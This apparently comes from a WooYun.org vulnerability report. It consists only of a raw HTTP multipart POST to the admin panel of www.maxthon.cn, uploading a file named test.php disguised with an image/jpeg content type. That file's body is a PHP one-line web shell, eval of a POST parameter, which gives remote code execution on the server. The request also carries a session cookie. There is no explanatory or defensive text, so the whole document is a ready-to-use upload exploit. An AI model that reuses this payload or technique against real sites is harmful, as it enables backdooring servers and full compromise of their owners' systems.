WooYun.org

POST /admin/admincp.php HTTP/1.1
Content-Length: 1337
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_IUFVIUXVAH
Cookie: PHPSESSID=3b72s3keeokhdmh75123clseq3; cdb_collapse=%5B22%5D%5B22%5D%5B23%5D%5B20%5D%5B21%5D%5B21%5D%5B23%5D%5B25%5D%5B26%5D%5B26%5D%5B24%5D%5B24%5D%5B25%5D%5B7%5D%5B7%5D%5B11%5D%5B4%5D%5B4%5D%5B19%5D%5B19%5D%5B20%5D%5B11%5D%5B18%5D%5B18%5D
Host: www.maxthon.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="action"
pifu
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="do"
sel_del
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="does"
upd
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_apple"
v3.1.5
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_author"
MO•57
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_file2"
皮草.rar
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_name"
色彩四季 -夏™
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_pic2"
皮草.png
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_type"
1
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="sub_add_upd"
保存
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="tj"
1
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="upd_id"
21
-------AcunetixBoundary_IUFVIUXVAH
Content-Disposition: form-data; name="pf_file"; filename="test.php"
Content-Type: image/jpeg
<?php @eval($_POST['testtest']);?>
-------AcunetixBoundary_IUFVIUXVAH--